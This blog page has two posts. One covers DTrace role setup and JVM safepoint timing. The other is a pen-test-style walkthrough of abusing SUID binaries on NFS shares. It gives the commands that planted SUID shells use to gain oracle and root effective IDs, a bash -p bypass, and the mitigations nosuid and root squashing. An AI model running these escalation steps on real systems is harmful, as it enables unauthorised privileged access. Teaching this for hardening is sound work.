Search This Blog

Showing posts with label truss. Show all posts
Showing posts with label truss. Show all posts

Thursday, 2 June 2016

Working round problems with DTrace



In this article I'm going to introduce an awesome bit of technology developed by Sun Microsystems (now part of Oracle), called DTrace. Adding to the mix I'll look at setting up a privileged role to perform DTrace operations.

DTrace allows you to instrument any part of the system from internal kernel functions, through syscalls, then into the userland processes (all in the *same* script). In short, if you wish to diagnose a performance issue, this is the tool to use. Not only that, but the probes have zero impact if you do not use them, and virtually no impact (very low latency) when you do use them.

Thinks of it as low impact and simplified kernel debugging; without debug traps and associated race conditions (remember truss and tracing the X server!)

We also have destructive DTrace, which allows you (with restrictions) to modify stuff.

Just as with many tools, it can also be used for other things. It is a awesome tool for reverse engineering (you can monitor live systems in real time) and for evil (it is just as easy to sniff for credentials, for example; and as a part of the OS it can be “below the radar”).

You can find information on DTrace on Oracle's website e.g. the user guide http://docs.oracle.com/cd/E19253-01/819-5488/ and the reference http://docs.oracle.com/cd/E19253-01/817-6223/ .

If you wish to delve deeper, I would recommend Brendan Gregg's website http://www.brendangregg.com and his DTrace books.

Once we have set up the role I'll go through how I solved a problem I was having by using DTrace. There was a Java application that was supplied and maintained by a vendor which runs on a box we maintain. Unfortunately there were problems, and as part of my diagnostics I wanted to enable verbose GC logging to see if there was a problem in this area.

Due to the politics of the situation, I wasn't permitted to modify the application or use 'application tools' like jstat, and the vendor wouldn't agree to do it either at that time. I was permitted to use OS tools; and DTrace was an OS tool... so that was my way in.

Setting up a role

There are a few ways you can use DTrace. The easiest is to run it as root. However, as we are security concious we want least-privileged setups.

You can also assign certain DTrace privileges to other users. However, you may not want a user that can log in remotely to have default privileged access.

Finally, you can create a role. In this case, you may need to consider other factors (giving a user privileges over other users, for example), but a role cannot log in remotely ..... basically risk-assess your situation and decide.

So, lets create a role.

root@sol10-u9-t4# roleadd -m -K defaultpriv=basic,priv_dtrace_proc,dtrace_user,dtrace_kernel,priv_proc_owner -d /export/home/dbguser dbguser
64 blocks
root@sol10-u9-t4# rolemod -s /bin/bash dbguser

There appears to be a bug in Solaris (the version I'm using) in that in order to use the tick probe (in the profile provider), you also need the dtrace_kernel privilege for the probe to fire. As we are tracing other users we also need priv_proc_owner. Note that you can only trace owners that don't have more privileges than you; see the man page privileges(5).

Lets allow a normal user to access that role:

root@sol10-u9-t4# usermod -K roles=dbguser paul

If another user attempts to su to that role it will fail:

joe@sol10-u9-t4$ su - dbguser
Password:
Roles can only be assumed by authorized users
su: Sorry

But we can access it:

paul@sol10-u9-t4$ su - dbguser
Password:
Oracle Corporation      SunOS 5.10      Generic Patch   January 2005
dbguser@sol10-u9-t4$ ppriv $$
3974:   -bash
flags = <none>
        E: basic,dtrace_kernel,dtrace_proc,dtrace_user,proc_owner
        I: basic,dtrace_kernel,dtrace_proc,dtrace_user,proc_owner
        P: basic,dtrace_kernel,dtrace_proc,dtrace_user,proc_owner
        L: all

Solving my problem

I needed to find evidence to prove whether or not various areas could be the cause of some problems in a live environment. One area of interest was the Java JVM, which was running on Solaris 10.

A bit of background to Java JVM's. One thing that surprisingly few people fully appreciate is that a Java application will regularly freeze (halt). It is part of the design. This is done by the VM Thread and is colloquially known as a stop-the-world (STW) event, and are usually very short in duration. Technically it is known as a safepoint, and is only initiated within the VM Thread.

One of the main users of this are the Java garbage collectors (GC). For example, the CMS collector will freeze the JVM during the initial-mark and the remark phases. So, if the JVM isn't tuned well, or is having memory or demand issues, this can cause longer and/or more frequent GC events, and thus more time spent frozen and less time doing productive work; this can cascade into complete failure of the app in serious situations.

Within DTrace we have a number of providers. There are two that perform function boundary tracing, fbt for kernel functions (this one is really fun to play with) and the pid provider for userland functions. There are many other providers, such as syscall, io, sched, etc.

Secondly, if we look at the OpenJDK source code (e.g. https://java.net/projects/openjdk6/downloads/), we see a couple of interesting functions:

RuntimeService::record_safepoint_begin()
RuntimeService::record_safepoint_end()

The key files you will want to see, if you wish to examine it further, are:

hotspot/src/share/vm/runtime/safepoint.cpp
hotspot/src/share/vm/runtime/vmthread.cpp
hotspot/src/share/vm/services/runtimeService.cpp

Now, on the (closed-source) JVM we can have a look at the symbols via nm. We see that the closed-source version also has these functions. You can use other techniques to verify the functionality if you wish.

paul@sol10-u9-t4$ /usr/ccs/bin/nm -p libjvm.so | fgrep record_safepoint
0001366368 t __1cORuntimeServicebDrecord_safepoint_synchronized6F_v_
0001369140 t __1cORuntimeServiceUrecord_safepoint_end6F_v_
0001366776 t __1cORuntimeServiceWrecord_safepoint_begin6F_v_

So, let's start writing the DTrace script.

Within DTrace there are a load of ways we can handle this, but lets just look at summing the time we are in a safepoint over a defined interval.

We create an empty text document (say sumstw.d) with the following header:

#!/usr/sbin/dtrace -Cs

#pragma D option quiet

We then add our two probes. The first triggers on the return of the function call, storing the timestamp (in nanoseconds) in the thread local variable ts. $1 is the argument to the trace script and will be the PID.

pid$1:libjvm:__1cORuntimeServiceWrecord_safepoint_begin6F_v_:return
{
        self->ts = timestamp;
}

The second is triggered on entry into the function call. It is an aggregation (sum) of the difference in the timestamps. i.e. how long we were in a STW event. You can also create frequency distributions using, for example, quantize().

pid$1:libjvm:__1cORuntimeServiceUrecord_safepoint_end6F_v_:entry
/self->ts/
{
        @total = sum(timestamp - self->ts);
        self->ts = 0;
}

Finally, we use the tick probe to trigger every specified unit of time. In this case every second.

tick-1sec
{
        printf("Time: %Y", walltimestamp );
        printa(@total);
        clear(@total);
}

And that's it.

I have written a simple Java program that just creates and destroys Java objects (forgetting to do a few; i.e. memory leak) so as to exercise the GC code. If I run it and then compare with the output from a verbose GC log I can see it all appears to match. NOTE: other things cause STW events so it will not always match, but in this sense the DTrace is better, as I'm looking for all times when the JVM is frozen.

So run the JVM first to get the PID:

paul@sol10-u9-t4$
java -verbosegc -server \
        -XX:+UseParNewGC -XX:+UseConcMarkSweepGC \
        -Xms32m -Xmx32m \
        -XX:+PrintGCDetails -XX:+PrintGCDateStamps \
        testRig

Start the DTrace script, the numbers are in nanoseconds.

./traceSTW-sum.d `pgrep -u paul java`
Time: 2016 May 11 04:49:39
                0
Time: 2016 May 11 04:49:40
         22953072
Time: 2016 May 11 04:49:41
         36557806
Time: 2016 May 11 04:49:42
                0

Comparing we see:

2016-05-11T04:49:38.560+0100: [CMS-concurrent-reset: 0.000/0.000 secs] [Times: user=0.00 sys=0.00, real=0.00 secs]
2016-05-11T04:49:40.570+0100: [GC [1 CMS-initial-mark: 7258K(16384K)] 22042K(31168K), 0.0227668 secs] [Times: user=0.02 sys=0.00, real=0.02 secs]
2016-05-11T04:49:40.598+0100: [CMS-concurrent-mark: 0.006/0.006 secs] [Times: user=0.01 sys=0.00, real=0.01 secs]
2016-05-11T04:49:40.599+0100: [CMS-concurrent-preclean: 0.000/0.000 secs] [Times: user=0.00 sys=0.00, real=0.00 secs]
2016-05-11T04:49:41.547+0100: [GC [ParNew: 14784K->1600K(14784K), 0.0193115 secs] 22042K->10379K(31168K), 0.0193506 secs] [Times: user=0.03 sys=0.00, real=0.02 secs]
2016-05-11T04:49:41.573+0100: [CMS-concurrent-abortable-preclean: 0.045/0.974 secs] [Times: user=0.08 sys=0.00, real=0.97 secs]
2016-05-11T04:49:41.573+0100: [GC[YG occupancy: 9174 K (14784 K)][Rescan (parallel) , 0.0167713 secs][weak refs processing, 0.0000035 secs] [1 CMS-remark: 8779K(16384K)] 17953K(31168K), 0.0168503 secs] [Times: user=0.02 sys=0.00, real=0.02 secs]
2016-05-11T04:49:41.598+0100: [CMS-concurrent-sweep: 0.008/0.008 secs] [Times: user=0.00 sys=0.00, real=0.01 secs]
2016-05-11T04:49:41.599+0100: [CMS-concurrent-reset: 0.000/0.000 secs] [Times: user=0.00 sys=0.00, real=0.00 secs]

As you can see, via DTrace we are now tracking what we want to. So, we can go to the live system, and without enabling verbose GC logging or any application tool, we can trace all the events of interest.

This is the tip of the iceberg when it comes to DTrace. The stuff you can do with this is truly awesome. Enjoy.

Wednesday, 18 May 2016

NFS Abuse for Fun and Profit - Part 2



Following on from Part 1 of this article, we continue our introduction to NFS by abusing SUID.

When we talk about SUID here, we also infer SGID. i.e. you can set the effective group ID as well; but I will leave that as an exercise for the reader.

Case 4a – nosuid

Unlike the no_root_squash option, which is by default 'squashed', the ability to have and use SUID executables on an NFS share is there by default. If you mount a filesystem, there is no indication that you have enabled this (suid) capability as the non-default flag is the inverse of that.

My Solaris 10U9 box disables this as an explict (default) flag for the /net filesystem, which you can see in the config /etc/auto_master, but for normal mounts you must specify it yourself.

What this implies is that the clients (and the NFS server) trust the data on the filesystem, so much so that you can have executable code on the filesystem that can take on the privileges of others via SUID.

Let's assume that you have got unprivileged access to a Solaris client, but wish to access the oracle user in order to pilfer data from a database. Let's also assume that you have access to another client as root or oracle (this could be the attackers box), which can (or does) mount the NFS share.

On the Solaris client (the DB server) we have the following setup:

sol10-u9-t4# mkdir /myOracleShare
sol10-u9-t4# groupadd -g 5000 dba
sol10-u9-t4# useradd -u 5000 -g dba -d /export/home/oracle -m oracle
64 blocks
sol10-u9-t4# chown oracle:dba /myOracleShare/
sol10-u9-t4# mount -F nfs -o vers=3 centos-7-2-t1:/myShare /myOracleShare/

So, from the attackers controlled box (with root access and the share mounted), we can do the following. Note that this is a Linux box in this case, and as it is the attackers box, uid 5000 is user bh5000 and not the name oracle. It will appear as oracle on the DB server.

[bh5000@centos-7-2-t3 ~]$ cp sh.sol10 /tgtNFSmount/
[bh5000@centos-7-2-t3 ~]$ chmod 4755 /tgtNFSmount/sh.sol10
[bh5000@centos-7-2-t3 ~]$ ls -l /tgtNFSmount/sh.sol10
-rwsr-xr-x. 1 bh5000 bh5000 82456 May 18 09:53 /tgtNFSmount/sh.sol10

Now, back on the Oracle DB server, where the attacker has unprivileged access, we can now do the following:

joe@sol10-u9-t4$ cd /myOracleShare/
joe@sol10-u9-t4$ id -a
uid=102(joe) gid=1000(users) groups=1000(users)
joe@sol10-u9-t4$ ./sh.sol10
$ id -a
uid=102(joe) gid=1000(users) euid=5000(oracle) groups=1000(users)

Success, our effective UID is now that of the oracle user.

If the client was a Linux box, then we could also do the same. So, for centos-7-2-t2 as a client, with the mount as /myNFSmount.

[bh5000@centos-7-2-t3 ~]$ cp /bin/bash /tgtNFSmount/bash.centos72
[bh5000@centos-7-2-t3 ~]$ chmod 4755 /tgtNFSmount/bash.centos72
[bh5000@centos-7-2-t3 ~]$ ls -l /tgtNFSmount/bash.centos72
-rwsr-xr-x. 1 bh5000 bh5000 960376 May 18 09:59 /tgtNFSmount/bash.centos72

Then on the client:

[joe@centos-7-2-t2 myNFSmount]$ cd
[joe@centos-7-2-t2 ~]$ cd /myNFSmount/
[joe@centos-7-2-t2 myNFSmount]$ id
uid=6000(joe) gid=6000(joe) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[joe@centos-7-2-t2 myNFSmount]$ ./bash.centos72
bash.centos72-4.2$ id
uid=6000(joe) gid=6000(joe) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Uh. I'm not euid 5000! It didn't work.

As is commonplace, we will have to do a bit more analysis. Two likely options are, the OS prevented us, or the program prevented us.

There is a quick way to test this; by using another executable and see if this causes a problem.

[bh5000@centos-7-2-t3 ~]$ cp /bin/cat /tgtNFSmount/cat.centos72
[bh5000@centos-7-2-t3 ~]$ chmod 4755 /tgtNFSmount/cat.centos72

[joe@centos-7-2-t2 myNFSmount]$ cat /home/oracle/.bash_profile | wc -l
cat: /home/oracle/.bash_profile: Permission denied
0
[joe@centos-7-2-t2 myNFSmount]$ ./cat.centos72 /home/oracle/.bash_profile | wc -l
12

So it is bash. Why? Let's look at the source code.

In shell.c we find main(). Within that we see the following which will set the euid to the real uid (disabling the suid):

  if (running_setuid && privileged_mode == 0)
    disable_priv_mode ();

So, how to set privileged_mode? In flags.c we see the answer, but also the following comment:

/* Non-zero means that this shell is running in `privileged' mode.  This
   is required if the shell is to run setuid.  If the `-p' option is
   not supplied at startup, and the real and effective uids or gids
   differ, disable_priv_mode is called to relinquish setuid status. */
int privileged_mode = 0;

So, let's re-try with the '-p' option:

[joe@centos-7-2-t2 myNFSmount]$ id
uid=6000(joe) gid=6000(joe) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[joe@centos-7-2-t2 myNFSmount]$ ./bash.centos72 -p
bash.centos72-4.2$ id
uid=6000(joe) gid=6000(joe) euid=5000(oracle) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Success.

Countermeasures depend partly on your situation.

On Solaris you can export the share as nosuid.

Alternatively, if the filesystem on the NFS server that houses the share does not need to have suid enabled, then ensure it is mounted nosuid in the first place.

In any case, however you mount it, ensure that the nosuid flag is set.

Case 4b – nosuid with no_root_squash

If the administrators have allowed no_root_squash on such a share, well; let the fun begin.

First, let's take the Linux client and perform the same trick as in case 4a.

[root@centos-7-2-t3 ~]# cp /bin/bash /tgtNFSmount/bash.centos72
[root@centos-7-2-t3 ~]# chmod 4755 /tgtNFSmount/bash.centos72
[root@centos-7-2-t3 ~]# ls -l /tgtNFSmount/bash.centos72
-rwsr-xr-x. 1 root root 960376 May 18 10:21 /tgtNFSmount/bash.centos72

Then on the client:

[joe@centos-7-2-t2 ~]$ cd /myNFSmount/
[joe@centos-7-2-t2 myNFSmount]$ id
uid=6000(joe) gid=6000(joe) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[joe@centos-7-2-t2 myNFSmount]$ ./bash.centos72 -p
bash.centos72-4.2# id
uid=6000(joe) gid=6000(joe) euid=0(root) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Yey; got r00t.

Let's 'quickly' finish off with the Solaris example:

[root@centos-7-2-t3 ~]# cp /home/bh5000/sh.sol10 /tgtNFSmount/sh.sol10
[root@centos-7-2-t3 ~]# chmod 4755 /tgtNFSmount/sh.sol10
[root@centos-7-2-t3 ~]# ls -l /tgtNFSmount/sh.sol10
-rwsr-xr-x. 1 root root 82456 May 18 10:24 /tgtNFSmount/sh.sol10

Then on the client:

joe@sol10-u9-t4$ cd /myOracleShare/
joe@sol10-u9-t4$ id -a
uid=102(joe) gid=1000(users) groups=1000(users)
joe@sol10-u9-t4$ ./sh.sol10
$ id -a
uid=102(joe) gid=1000(users) groups=1000(users)

Arrrgh. It was working a minute ago with the oracle user!

As we are demonstrating this (or prepping in a test lab as an adversary), let's see the syscall's that occur when we run that executable. We will need a root window on the Solaris box to do the trace of the original shell and its siblings and then re-run the SUID shell:

joe@sol10-u9-t4$ echo $$
1526

sol10-u9-t4# truss -f -p 1526                                                                                 
1526:   read(0, 0x08047534, 1)          (sleeping...)
1550:   getuid()                                        = 102 [0]
1550:   getuid()                                        = 102 [0]
1550:   getgid()                                        = 1000 [1000]
1550:   getgid()                                        = 1000 [1000]
1550:   setuid(102)                                     = 0

Unfortunately we do not have the source code this time, so let's break into a debugger for some  analysis of /bin/sh (NB: yes, you could just dump the code from the binary if you wish; but we would miss all the fun in using a debugger):

joe@sol10-u9-t4$ mdb /bin/sh
> ::run
$ ^Cmdb: stop on SIGINT
mdb: target stopped at:
libc.so.1`_read+0x15:   jae    +0xc     <libc.so.1`_read+0x21>
mdb: You've got symbols!
Loading modules: [ ld.so.1 libc.so.1 ]
> ::dis main
...
main+0x240:                     call   -0xb5b0  <PLT=libc.so.1`geteuid>
main+0x245:                     movl   %eax,%ebx
main+0x247:                     call   -0xb2b7  <PLT=libc.so.1`getuid>
main+0x24c:                     movl   %eax,-0x10(%ebp)
main+0x24f:                     call   -0xb1cf  <PLT=libc.so.1`getegid>
main+0x254:                     movl   %eax,%edi
main+0x256:                     call   -0xb1c6  <PLT=libc.so.1`getgid>
main+0x25b:                     movl   %eax,%esi
main+0x25d:                     movl   -0x10(%ebp),%eax
main+0x260:                     cmpl   %eax,%ebx
main+0x262:                     je     +0x10    <main+0x272>
main+0x264:                     cmpl   $0x64,%ebx
main+0x267:                     jge    +0xb     <main+0x272>
main+0x269:                     pushl  %eax
main+0x26a:                     call   -0xb1ca  <PLT:setuid>
main+0x26f:                     addl   $0x4,%esp
main+0x272:                     cmpl   %esi,%edi
...

Here we can clearly see the answer.

We get the values for the real and effective UIDs (and GIDs).

Then, the first compare at main+0x260 checks to see if the real and effective UIDs are the same; if so we skip the rest of this test and carry on as normal.

The second compare at main+0x264 checks to see if the effective UID is greater than or equal to 0x64 (100); if so we carry on as normal.

If both tests are true then we reset the user's UID to their real UID. i.e. if we are running SUID and the UID is a system reserved UID (< 100), drop the privs to that of the calling user.

In both cases (4a, 4b), workarounds to the program preventing you becoming suid are numerous, including rolling your own program (just recompile a custom bash, for instance), use another program if available.

Suggestion 3 – don't allow suid on NFS

From an adversaries or pen-tester's point-of-view, this is a simple demonstration that it can appear your attack didn't work, but it did work as intended (the basic premise was right); it is just that something else broke it. In this case, both bash and Solaris sh shells have countermeasures to stop SUID abuse irrespective of the use of NFS.

In Part 3 we will wrap up this basic overview of NFSv2/v3 with a look at a number of other countermeasures.